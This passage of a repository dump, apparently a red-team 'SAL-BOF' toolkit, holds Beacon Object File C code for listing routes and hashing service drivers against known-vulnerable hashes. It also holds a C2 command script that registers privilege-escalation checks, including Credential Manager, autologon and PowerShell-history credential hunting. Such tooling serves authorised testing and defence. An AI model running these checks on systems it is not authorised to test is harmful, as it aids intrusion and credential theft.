\"F8C07B6E2066A5A22A92D9F521ECDEB8C68698C400E4B83E0501B9F340957C22\",\n    \"F8D7369527CC6976283CC73CD761F93BD1CEC49D\",\n    \"F929BEAD59E9424AB90427B379DCDD63FBFE0C4FB5E1792E3A1685541CD5EC65\",\n    \"F9418B5E90A235339A4A1A889490FACA39CD117A51BA4446DAA1011DA06C7ECD\",\n    \"FAA61346430AEDC952D820F7B16B973C9BF133C3\",\n    \"FAA870B0CB15C9AC2B9BBA5D0470BD501CCD4326\",\n    \"FAC8EB49E2FD541B81FCBDEB98A199CB\",\n    \"FAFA1BB36F0AC34B762A10E9F327DCAB2152A6D0B16A19697362D49A31E7F566\",\n    \"FB0DBC3B9C897B7571B94FB2203FFB1AC0FACFE366B2CB1F91904EA5335018F0\",\n    \"FBF8B0613A2F7039AEB9FA09BD3B40C8FF49DED2\",\n    \"FC62B746E0E726537BF848B48212F46DB585AF6D\",\n    \"FCD615DF88645D1F57FF5702BD6758B77EFEA6D0\",\n    \"FCDFE570E6DC6E768EF75138033D9961F78045ADCA53BEB6FDB520F6417E0DF1\",\n    \"FD33FB2735CC5EF466A54807D3436622407287E325276FCD3ED1290C98BD0533\",\n    \"FD388CF1DF06D419B14DEDBEB24C6F4DFF37BEA26018775F09D56B3067F0DE2C\",\n    \"FD3B7234419FAFC9BDD533F48896ED73\",\n    \"FD7DE498A72B2DAF89F321D23948C3C4\",\n    \"FD80C3D38669B302DE4B4B736941C0D1\",\n    \"FE10018AF723986DB50701C8532DF5ED98B17C39\",\n    \"FE937E1ED4C8F1D4EAC12B065093AE63\",\n    \"FFF7EE0FEBB8C93539220CA49D4206616E15C666\",\n    NULL // End of array\n};\n\n#endif // VULNDRIVERS_H\n"
  },
  {
    "path": "SAL-BOF/privcheck/vulnerabledrivers.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <wincrypt.h>\n\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#include \"vulndrivers.h\"\n\n#define BUFSIZE\t\t1024\n#define SHA256LEN\t32\n#define SHA1LEN\t\t20\n#define MD5LEN\t\t16\n\n// Compare calculated hash to all known vulnerable hashes\nBOOL CompareHashToVuln(char* DriverHash) {\n    int i = 0;\n\n    // Check if vulnerable hash exists in list\n    while (VulnerableHashes[i]) {\n        if (MSVCRT$_stricmp(VulnerableHashes[i], DriverHash) == 0) {\n            return TRUE;\n        }\n        i++;\n    }\n    // If not, just continue\n    return FALSE;\n}\n\n\n// Resolve the absolute path of drivers\nvoid resolveDriverImagePath(char* imagePath, char* resolvedPath, size_t pathSize) {\n    char szSystemRoot[MAX_PATH * 2];\n\n    // Resolve the SystemRoot variable to path\n    if (!KERNEL32$GetEnvironmentVariableA(\"SystemRoot\", szSystemRoot, sizeof(szSystemRoot))) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[ERROR] Failed to resolve SystemRoot for path: %s\\n\", imagePath);\n    }\n\n    if (MSVCRT$_strnicmp(imagePath, \"\\\\SystemRoot\\\\\", 12) == 0) {\n        // Replace \"\\SystemRoot\" with the SystemRoot environment variable\n        USER32$wsprintfA(resolvedPath, \"%s%s\", szSystemRoot, imagePath + 11);\n    }\n    else if (MSVCRT$_strnicmp(imagePath, \"System32\\\\\", 9) == 0) {\n        // Prepend SystemRoot to paths starting with \"System32\\\"\n        USER32$wsprintfA(resolvedPath, \"%s\\\\%s\", szSystemRoot, imagePath);\n    }\n    else if (MSVCRT$_strnicmp(imagePath, \"\\\\??\\\\\", 4) == 0) {\n        // Remove the \"\\\\??\\\\\" prefix\n        MSVCRT$strncpy(resolvedPath, imagePath + 4, pathSize - 1);\n        resolvedPath[pathSize - 1] = '\\0';  // Ensure null-termination\n    }\n    else {\n        // Otherwise, leave it as is\n        MSVCRT$strncpy(resolvedPath, imagePath, pathSize - 1);\n        resolvedPath[pathSize - 1] = '\\0';  // Ensure null-termination\n    }\n}\n\nBOOL CalculateHash(char * szFilePath, char szFileHash[65], const char * szHashAlg) {\n\n    HANDLE hFile;\n    HCRYPTPROV hProv;\n    HCRYPTHASH hHash;\n    BOOL bResult;\n    BYTE rgbFile[BUFSIZE];\n    DWORD cbRead;\n    DWORD cbHash;\n    BYTE rgbHash[SHA256LEN];\n    CHAR rgbDigits[] = \"0123456789abcdef\";\n    ALG_ID hashAlgId;\n    DWORD hashLen;\n\n    if (MSVCRT$_stricmp(szHashAlg, \"SHA1\") == 0) {\n        hashAlgId\t= CALG_SHA1;\n        hashLen = SHA1LEN;\n    }\n    else if (MSVCRT$_stricmp(szHashAlg, \"SHA256\") == 0) {\n        hashAlgId = CALG_SHA_256;\n        hashLen = SHA256LEN;\n    }\n    else if (MSVCRT$_stricmp(szHashAlg, \"MD5\") == 0) {\n        hashAlgId = CALG_MD5;\n        hashLen = MD5LEN;\n    }\n    else {\n        return FALSE;\n    }\n\n    cbHash = hashLen;\n\n    // Open file to hash\n    hFile = KERNEL32$CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"Error opening %s\\n\", szFilePath);\n        return FALSE;\n    }\n\n\n\n    // Get handle to crypto provider\n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"ADVAPI32$CryptAcquireContextA failed\\n\");\n        KERNEL32$CloseHandle(hFile);\n        return FALSE;\n    }\n\n    // Initialize hash\n    if (!ADVAPI32$CryptCreateHash(hProv, hashAlgId, 0, 0, &hHash)) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"ADVAPI32$CryptCreateHash failed\\n\");\n        KERNEL32$CloseHandle(hFile);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n\n\n    while ((bResult = KERNEL32$ReadFile(hFile, rgbFile, BUFSIZE, &cbRead, NULL))) {\n        if (cbRead == 0) {\n            break;\n        }\n\n        if (!ADVAPI32$CryptHashData(hHash, rgbFile, cbRead, 0)) {\n            BeaconPrintf(CALLBACK_OUTPUT,\"ADVAPI32$CryptHashData failed\\n\");\n            ADVAPI32$CryptReleaseContext(hProv, 0);\n            ADVAPI32$CryptDestroyHash(hHash);\n            KERNEL32$CloseHandle(hFile);\n            return FALSE;\n        }\n    }\n\n\n    if (!bResult) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"ReadFile failed\\n\");\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        ADVAPI32$CryptDestroyHash(hHash);\n        KERNEL32$CloseHandle(hFile);\n        return FALSE;\n    }\n\n\n\n    // Hash the file\n    if (ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, rgbHash, &cbHash, 0)) {\n        for (DWORD i = 0; i < cbHash; i++) {\n            szFileHash[i * 2] = rgbDigits[rgbHash[i] >> 4];\n            szFileHash[i * 2 + 1] = rgbDigits[rgbHash[i] & 0xf];\n        }\n\n        // null terminate string\n        szFileHash[cbHash * 2] = '\\0';\n\n        ADVAPI32$CryptDestroyHash(hHash);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        KERNEL32$CloseHandle(hFile);\n\n        return TRUE;\n    }\n    else {\n        BeaconPrintf(CALLBACK_OUTPUT,\"ADVAPI32$CryptGetHashParam failed\\n\");\n        ADVAPI32$CryptDestroyHash(hHash);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        KERNEL32$CloseHandle(hFile);\n        return FALSE;\n    }\n\n}\n\n\nvoid go() {\n    HKEY servicesKey;\n    char resolvedPath[MAX_PATH];\n    int NumOfVulnDrivers = 0;\n\n    // Extract all drivers from services\n    if (ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\\", 0, KEY_READ, &servicesKey) == ERROR_SUCCESS) {\n        char serviceSubkeyName[256];\n        DWORD subkeyIndex = 0;\n        DWORD subkeyNameSize = sizeof(serviceSubkeyName);\n        // Iterate over each service\n        while (ADVAPI32$RegEnumKeyExA(servicesKey, subkeyIndex++, serviceSubkeyName, &subkeyNameSize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {\n            HKEY imagePathKey;\n            if (ADVAPI32$RegOpenKeyExA(servicesKey, serviceSubkeyName, 0, KEY_READ, &imagePathKey) == ERROR_SUCCESS) {\n                char imagePathValue[1024];\n                DWORD valueSize = sizeof(imagePathValue);\n                // Obtain value of the \"ImagePath\"\n                if (ADVAPI32$RegGetValueA(imagePathKey, NULL, \"ImagePath\", RRF_RT_REG_SZ, NULL, &imagePathValue, &valueSize) == ERROR_SUCCESS) {\n                    // Check if imagePathValue is empty\n                    if (imagePathValue[0] == '\\0') {\n                        ADVAPI32$RegCloseKey(imagePathKey);\n                        continue;\n                    }\n\n                    // Check if value ends in '.sys'\n                    if (MSVCRT$strstr(imagePathValue, \".sys\") != NULL) {\n                        // Resolve the absolute path of the driver\n                        resolveDriverImagePath(imagePathValue, resolvedPath, sizeof(resolvedPath));\n\n                        char FileHash[65];\n                        const char* HashAlgos[] = {\n                                \"SHA1\",\n                                \"SHA256\",\n                                \"MD5\"\n                        };\n\n                        for (int i = 0; i < sizeof(HashAlgos) / sizeof(HashAlgos[i]); i++) {\n                            // Calculate hashes for driver\n                            if (CalculateHash(resolvedPath, FileHash, HashAlgos[i])) {\n                                if (CompareHashToVuln(FileHash)) {\n                                    BeaconPrintf(CALLBACK_OUTPUT,\"[VULN_DRIVER] Service \\\"%s\\\" has a vulnerable driver: %s - Hash: %s\\n\", serviceSubkeyName, resolvedPath, FileHash);\n                                    NumOfVulnDrivers++;\n                                    break;\n                                }\n                            } else {\n                                BeaconPrintf(CALLBACK_OUTPUT, \"[VULN_DRIVER] Failed to calculate hash for driver: %s\\n\", resolvedPath);\n                            }\n                        }\n                    }\n                }\n                ADVAPI32$RegCloseKey(imagePathKey);\n            }\n            subkeyNameSize = sizeof(serviceSubkeyName);\n        }\n        ADVAPI32$RegCloseKey(servicesKey);\n    }\n    BeaconPrintf(CALLBACK_OUTPUT,\"[VULN_DRIVER] Found a total of %d vulnerable drivers\\n\", NumOfVulnDrivers);\n}"
  },
  {
    "path": "SAL-BOF/routeprint/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/routeprint/routeprint.c",
    "content": "#include <windows.h>\n#include <iphlpapi.h>\n#include \"bofdefs.h\"\n#include \"base.c\"\n\n#define IPBUF 17\n#define IN_ADDR_OF(x) *((struct in_addr *)&(x))\n\nint PrintRoutes()\n{\n    PMIB_IPFORWARDTABLE IpForwardTable = NULL;\n    PIP_ADAPTER_INFO pAdapterInfo = NULL, curAdapter = NULL;\n    ULONG Size = 0;\n    DWORD Error = 0;\n    ULONG adaptOutBufLen = 0;\n    CHAR DefGate[16];\n    CHAR Destination[IPBUF], Gateway[IPBUF], Netmask[IPBUF];\n    unsigned int i;\n\n    /* set required buffer size */\n\n    if (IPHLPAPI$GetAdaptersInfo( NULL, &adaptOutBufLen) == ERROR_BUFFER_OVERFLOW)\n    {\n       pAdapterInfo = (IP_ADAPTER_INFO *) intAlloc (adaptOutBufLen);\n       if (pAdapterInfo == NULL)\n       {\n           Error = ERROR_NOT_ENOUGH_MEMORY;\n           goto Error;\n       }\n    }\n\n    if( (IPHLPAPI$GetIpForwardTable( NULL, &Size, TRUE )) == ERROR_INSUFFICIENT_BUFFER )\n    {\n        if (!(IpForwardTable = intAlloc( Size )))\n        {\n            Error = ERROR_NOT_ENOUGH_MEMORY;\n            goto Error;\n        }\n    }else\n    {\n        Error = KERNEL32$GetLastError();\n        goto Error;\n    }\n    \n\n    if (((Error = IPHLPAPI$GetAdaptersInfo(pAdapterInfo, &adaptOutBufLen)) == NO_ERROR) &&\n        ((Error = IPHLPAPI$GetIpForwardTable(IpForwardTable, &Size, TRUE)) == NO_ERROR))\n    {\n        MSVCRT$sprintf(DefGate,\n                  \"%s\",\n                  pAdapterInfo->GatewayList.IpAddress.String);\n       internal_printf(\"===========================================================================\\n\");\n       internal_printf(\"Interface List\\n\");\n        /* FIXME - sort by the index! */\n        curAdapter = pAdapterInfo;\n        while (curAdapter)\n        {\n           internal_printf(\"0x%lu ........................... %s\\n\",\n                     curAdapter->Index, curAdapter->Description);\n            curAdapter = curAdapter->Next;\n        }\n       internal_printf(\"===========================================================================\\n\");\n\n       internal_printf(\"===========================================================================\\n\");\n       internal_printf(\"Active Routes:\\n\");\n       internal_printf( \"%-27s%-17s%-14s%-11s%-10s\\n\",\n                  \"Network Destination\",\n                  \"Netmask\",\n                  \"Gateway\",\n                  \"Interface\",\n                  \"Metric\" );\n        for( i = 0; i < IpForwardTable->dwNumEntries; i++ )\n        {\n            MSVCRT$sprintf( Destination,\n                       \"%s\",\n                       WS2_32$inet_ntoa( IN_ADDR_OF(IpForwardTable->table[i].dwForwardDest) ) );\n            MSVCRT$sprintf( Netmask,\n                       \"%s\",\n                       WS2_32$inet_ntoa( IN_ADDR_OF(IpForwardTable->table[i].dwForwardMask) ) );\n            MSVCRT$sprintf( Gateway,\n                       \"%s\",\n                       WS2_32$inet_ntoa( IN_ADDR_OF(IpForwardTable->table[i].dwForwardNextHop) ) );\n\n           internal_printf(\"%17s%17s%17s%16ld%9ld\\n\",\n                      Destination,\n                      Netmask,\n                      Gateway,\n                      IpForwardTable->table[i].dwForwardIfIndex,\n                      IpForwardTable->table[i].dwForwardMetric1 );\n            \n        }\n\t\tinternal_printf(\"Default Gateway:%18s\\n\", DefGate);\n\t\tinternal_printf(\"===========================================================================\\n\");\n\t\tinternal_printf(\"Persistent Routes:\\n\");\n        intFree(IpForwardTable);\n        intFree(pAdapterInfo);\n        return ERROR_SUCCESS;\n    }\n    else\n    {\nError:\n        if (pAdapterInfo) intFree(pAdapterInfo);\n        if (IpForwardTable) intFree(IpForwardTable);\n        return Error;\n    }\n}\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\tPrintRoutes();\n\tprintoutput(TRUE);\n};\n"
  },
  {
    "path": "SAL-BOF/sal.axs",
    "content": "var metadata = {\n    name: \"SAL-BOF\",\n    description: \"Situation Awareness Local BOFs\"\n};\n\n\nvar cmd_arp = ax.create_command(\"arp\", \"List ARP table\", \"arp\");\ncmd_arp.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/arp.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: arp\");\n});\n\nvar cmd_cacls = ax.create_command(\"cacls\", \"List user permissions for the specified file or directory, wildcards supported\", \"cacls C:\\\\test.txt\");\ncmd_cacls.addArgString(\"path\", true);\ncmd_cacls.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let path = parsed_json[\"path\"];\n\n    let bof_params = ax.bof_pack(\"wstr\", [path]);\n    let bof_path = ax.script_dir() + \"_bin/cacls.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF implementation: cacls\");\n});\n\nvar cmd_dir = ax.create_command(\"dir\", \"Lists files in a specified directory. Supports wildcards (e.g. \\\"C:\\\\Windows\\\\S*\\\"). Optionally, it can perform a recursive list with the /s argument\", \"dir C:\\\\Users /s\");\ncmd_dir.addArgString(\"directory\", \"\", \".\\\\\");\ncmd_dir.addArgBool(\"/s\", \"Recursive list\");\ncmd_dir.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let directory = parsed_json[\"directory\"];\n    let recursive = 0;\n\n    if(parsed_json[\"/s\"]) { recursive = 1; }\n\n    let bof_params = ax.bof_pack(\"wstr,int\", [directory, recursive]);\n    let bof_path = ax.script_dir() + \"_bin/dir.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF implementation: dir\");\n});\n\nvar cmd_env = ax.create_command(\"env\", \"List process environment variables\", \"env\");\ncmd_env.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/env.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"List process environment variables (BOF)\");\n});\n\nvar cmd_ipconfig = ax.create_command(\"ipconfig\", \"List IPv4 address, hostname, and DNS server\", \"ipconfig\");\ncmd_ipconfig.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/ipconfig.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: ipconfig\");\n});\n\nvar cmd_listdns = ax.create_command(\"listdns\", \"List DNS cache entries. Attempt to query and resolve each\", \"listdns\");\ncmd_listdns.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/listdns.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: ipconfig /displaydns\");\n});\n\nvar cmd_netstat = ax.create_command(\"netstat\", \"Executes the netstat command to display network connections\", \"netstat\");\ncmd_netstat.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/netstat.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"BOF implementation: netstat\");\n});\n\nvar cmd_nslookup = ax.create_command(\"nslookup\", \"Make a DNS query\", \"nslookup google.com -s 8.8.8.8 -t A\");\ncmd_nslookup.addArgString(\"domain\", true);\ncmd_nslookup.addArgFlagString(\"-s\", \"server\", \"DNS server is the server you want to query\", \"\");\ncmd_nslookup.addArgFlagString(\"-t\", \"type\", \"Record type is something like A, AAAA, or ANY\", \"A\");\ncmd_nslookup.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let domain = parsed_json[\"domain\"];\n    let server = parsed_json[\"server\"];\n    let type   = parsed_json[\"type\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr\", [domain, type, server]);\n    let bof_path = ax.script_dir() + \"_bin/nslookup.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF implementation: nslookup\");\n});\n\nvar _cmd_privcheck_alwayselevated = ax.create_command(\"alwayselevated\", \"Checks if Always Install Elevated is enabled using the registry\", \"privcheck alwayselevated\");\n_cmd_privcheck_alwayselevated.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/alwayselevated.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks AlwaysInstallElevated\");\n});\nvar _cmd_privcheck_hijackablepath = ax.create_command(\"hijackablepath\", \"Checks the path environment variable for writable directories (FILE_ADD_FILE) that can be exploited to elevate privileges\", \"privcheck hijackablepath\");\n_cmd_privcheck_hijackablepath.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/hijackablepath.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks HijackablePath\");\n});\nvar _cmd_privcheck_tokenpriv = ax.create_command(\"tokenpriv\", \"Lists the current token privileges and highlights known vulnerable ones\", \"privcheck tokenpriv\");\n_cmd_privcheck_tokenpriv.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/tokenpriv.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks TokenPrivileges\");\n});\nvar _cmd_privcheck_unattendfiles = ax.create_command(\"unattendfiles\", \"Checks for leftover unattend files that might contain sensitive information\", \"privcheck unattendfiles\");\n_cmd_privcheck_unattendfiles.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/unattendfiles.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks UnattendFiles\");\n});\nvar _cmd_privcheck_unquotedsvc = ax.create_command(\"unquotedsvc\", \"Checks for unquoted service paths\", \"privcheck unquotedsvc\");\n_cmd_privcheck_unquotedsvc.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/unquotedsvc.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks Unquoted Service Path\");\n});\nvar _cmd_privcheck_vulndrivers = ax.create_command(\"vulndrivers\", \"Checks if any service on the system uses a known vulnerable driver (based on loldrivers.io)\", \"privcheck vulndrivers\");\n_cmd_privcheck_vulndrivers.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/vulndrivers.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks Vulnerable Drivers\");\n});\nvar _cmd_privcheck_autologon = ax.create_command(\"autologon\", \"Checks for stored Autologon credentials in the Winlogon registry key\", \"privcheck autologon\");\n_cmd_privcheck_autologon.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/autologon.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks Autologon Credentials\");\n});\nvar _cmd_privcheck_credmanager = ax.create_command(\"credmanager\", \"Enumerates credentials stored in Windows Credential Manager\", \"privcheck credmanager\");\n_cmd_privcheck_credmanager.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/credmanager.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks Credential Manager\");\n});\nvar _cmd_privcheck_modautorun = ax.create_command(\"modautorun\", \"Checks for modifiable autorun executables in Run/RunOnce registry keys\", \"privcheck modautorun\");\n_cmd_privcheck_modautorun.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/modautorun.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks Modifiable Autoruns\");\n});\nvar _cmd_privcheck_modsvc = ax.create_command(\"modsvc\", \"Checks for services with modifiable permissions (DACL) that can be exploited for privilege escalation\", \"privcheck modsvc\");\n_cmd_privcheck_modsvc.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/modsvc.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks Modifiable Services\");\n});\nvar _cmd_privcheck_pshistory = ax.create_command(\"pshistory\", \"Checks for PowerShell PSReadLine history file that may contain sensitive commands or credentials\", \"privcheck pshistory\");\n_cmd_privcheck_pshistory.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/pshistory.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks PowerShell History\");\n});\nvar _cmd_privcheck_uacstatus = ax.create_command(\"uacstatus\", \"Checks UAC status, integrity level, and local administrator group membership\", \"privcheck uacstatus\");\n_cmd_privcheck_uacstatus.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + \"_bin/uacstatus.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\"`, \"Task: Checks UAC Status\");\n});\nvar _cmd_privcheck_all = ax.create_command(\"all\", \"Run all privilege escalation checks sequentially\", \"privcheck all\");\n_cmd_privcheck_all.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let bof_path = ax.script_dir() + 